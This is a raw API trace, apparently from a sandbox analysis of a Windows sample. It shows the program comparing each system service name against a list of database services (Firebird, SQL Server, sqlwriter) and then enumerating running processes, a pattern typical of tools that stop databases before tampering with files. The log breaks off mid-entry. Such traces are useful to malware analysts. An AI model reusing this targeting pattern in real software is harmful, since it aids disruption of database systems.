[0269.113] lstrlenW (lpString="ClickToRunSvc") returned 13 [0269.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0269.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0269.113] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0269.113] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0269.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0269.113] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0269.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0269.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0269.113] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0269.113] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0269.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0269.114] lstrlenW (lpString="CryptSvc") returned 8 [0269.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0269.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0269.114] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0269.114] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0269.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0269.114] lstrlenW (lpString="DcomLaunch") returned 10 [0269.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0269.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0269.114] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0269.114] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0269.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0269.114] lstrlenW (lpString="DeviceAssociationService") returned 24 [0269.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0269.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0269.114] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0269.114] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0269.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0269.114] lstrlenW (lpString="Dhcp") returned 4 [0269.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0269.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0269.114] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0269.114] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0269.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0269.114] lstrlenW (lpString="Dnscache") returned 8 [0269.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0269.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0269.114] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0269.114] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0269.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0269.114] lstrlenW (lpString="DPS") returned 3 [0269.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0269.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0269.114] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0269.114] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0269.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0269.114] lstrlenW (lpString="DusmSvc") returned 7 [0269.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0269.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0269.114] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0269.114] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0269.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0269.114] lstrlenW (lpString="EventLog") returned 8 [0269.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0269.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0269.115] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0269.115] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0269.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0269.115] lstrlenW (lpString="EventSystem") returned 11 [0269.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0269.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0269.115] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0269.115] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0269.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0269.115] lstrlenW (lpString="FontCache") returned 9 [0269.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0269.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0269.115] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0269.115] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0269.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0269.115] lstrlenW (lpString="gpsvc") returned 5 [0269.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0269.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0269.115] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0269.115] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0269.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0269.115] lstrlenW (lpString="iphlpsvc") returned 8 [0269.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0269.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0269.115] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0269.115] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0269.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0269.115] lstrlenW (lpString="KeyIso") returned 6 [0269.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0269.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0269.115] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0269.115] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0269.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0269.115] lstrlenW (lpString="LanmanServer") returned 12 [0269.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0269.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0269.115] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0269.115] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0269.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0269.115] lstrlenW (lpString="LanmanWorkstation") returned 17 [0269.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0269.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0269.116] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0269.116] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0269.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0269.116] lstrlenW (lpString="lfsvc") returned 5 [0269.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0269.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0269.116] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0269.116] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0269.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0269.116] lstrlenW (lpString="lmhosts") returned 7 [0269.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0269.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0269.116] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0269.116] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0269.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0269.116] lstrlenW (lpString="LSM") returned 3 [0269.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0269.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0269.116] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0269.116] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0269.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0269.116] lstrlenW (lpString="MpsSvc") returned 6 [0269.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0269.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0269.116] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0269.116] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0269.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0269.116] lstrlenW (lpString="NcbService") returned 10 [0269.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0269.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0269.116] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0269.116] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0269.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0269.116] lstrlenW (lpString="netprofm") returned 8 [0269.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0269.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0269.116] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0269.116] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0269.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0269.116] lstrlenW (lpString="NgcSvc") returned 6 [0269.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0269.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0269.116] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0269.117] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0269.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0269.117] lstrlenW (lpString="NlaSvc") returned 6 [0269.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0269.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0269.117] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0269.117] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0269.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0269.117] lstrlenW (lpString="nsi") returned 3 [0269.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0269.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0269.117] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0269.117] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0269.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0269.117] lstrlenW (lpString="PcaSvc") returned 6 [0269.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0269.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0269.117] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0269.117] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0269.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0269.117] lstrlenW (lpString="PlugPlay") returned 8 [0269.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0269.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0269.117] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0269.117] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0269.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0269.117] lstrlenW (lpString="Power") returned 5 [0269.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0269.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0269.117] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0269.117] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0269.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0269.117] lstrlenW (lpString="ProfSvc") returned 7 [0269.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0269.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0269.117] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0269.117] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0269.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0269.117] lstrlenW (lpString="RpcEptMapper") returned 12 [0269.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0269.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0269.117] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0269.117] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0269.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0269.118] lstrlenW (lpString="RpcSs") returned 5 [0269.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0269.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0269.118] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0269.118] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0269.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0269.118] lstrlenW (lpString="SamSs") returned 5 [0269.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0269.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0269.118] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0269.118] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0269.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0269.118] lstrlenW (lpString="Schedule") returned 8 [0269.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0269.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0269.118] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0269.118] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0269.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0269.118] lstrlenW (lpString="SecurityHealthService") returned 21 [0269.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0269.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0269.118] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0269.118] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0269.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0269.118] lstrlenW (lpString="SENS") returned 4 [0269.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0269.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0269.118] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0269.118] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0269.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0269.118] lstrlenW (lpString="ShellHWDetection") returned 16 [0269.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0269.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0269.118] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0269.118] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0269.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0269.118] lstrlenW (lpString="Spooler") returned 7 [0269.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0269.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0269.118] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0269.118] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0269.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0269.118] lstrlenW (lpString="SSDPSRV") returned 7 [0269.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0269.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0269.119] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0269.119] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0269.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0269.119] lstrlenW (lpString="StateRepository") returned 15 [0269.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0269.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0269.119] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0269.119] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0269.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0269.119] lstrlenW (lpString="SysMain") returned 7 [0269.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0269.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0269.119] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0269.119] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0269.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0269.119] lstrlenW (lpString="SystemEventsBroker") returned 18 [0269.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0269.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0269.119] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0269.119] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0269.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0269.119] lstrlenW (lpString="Themes") returned 6 [0269.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0269.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0269.119] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0269.119] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0269.119] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x7261c8 | out: hHeap=0x6e0000) returned 1 [0269.120] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x240 [0269.123] Process32FirstW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0269.124] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0269.124] lstrlenW (lpString="System") returned 6 [0269.124] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0269.125] lstrlenW (lpString="smss.exe") returned 8 [0269.125] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0269.125] lstrlenW (lpString="csrss.exe") returned 9 [0269.125] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0269.126] lstrlenW (lpString="wininit.exe") returned 11 [0269.126] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0269.126] lstrlenW (lpString="csrss.exe") returned 9 [0269.126] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0269.127] lstrlenW (lpString="winlogon.exe") returned 12 [0269.127] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0269.128] lstrlenW (lpString="services.exe") returned 12 [0269.128] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0269.128] lstrlenW (lpString="lsass.exe") returned 9 [0269.128] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0269.129] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0269.129] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0269.130] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0269.130] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.130] lstrlenW (lpString="svchost.exe") returned 11 [0269.130] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.131] lstrlenW (lpString="svchost.exe") returned 11 [0269.131] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0269.131] lstrlenW (lpString="dwm.exe") returned 7 [0269.131] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.132] lstrlenW (lpString="svchost.exe") returned 11 [0269.132] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.132] lstrlenW (lpString="svchost.exe") returned 11 [0269.132] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, 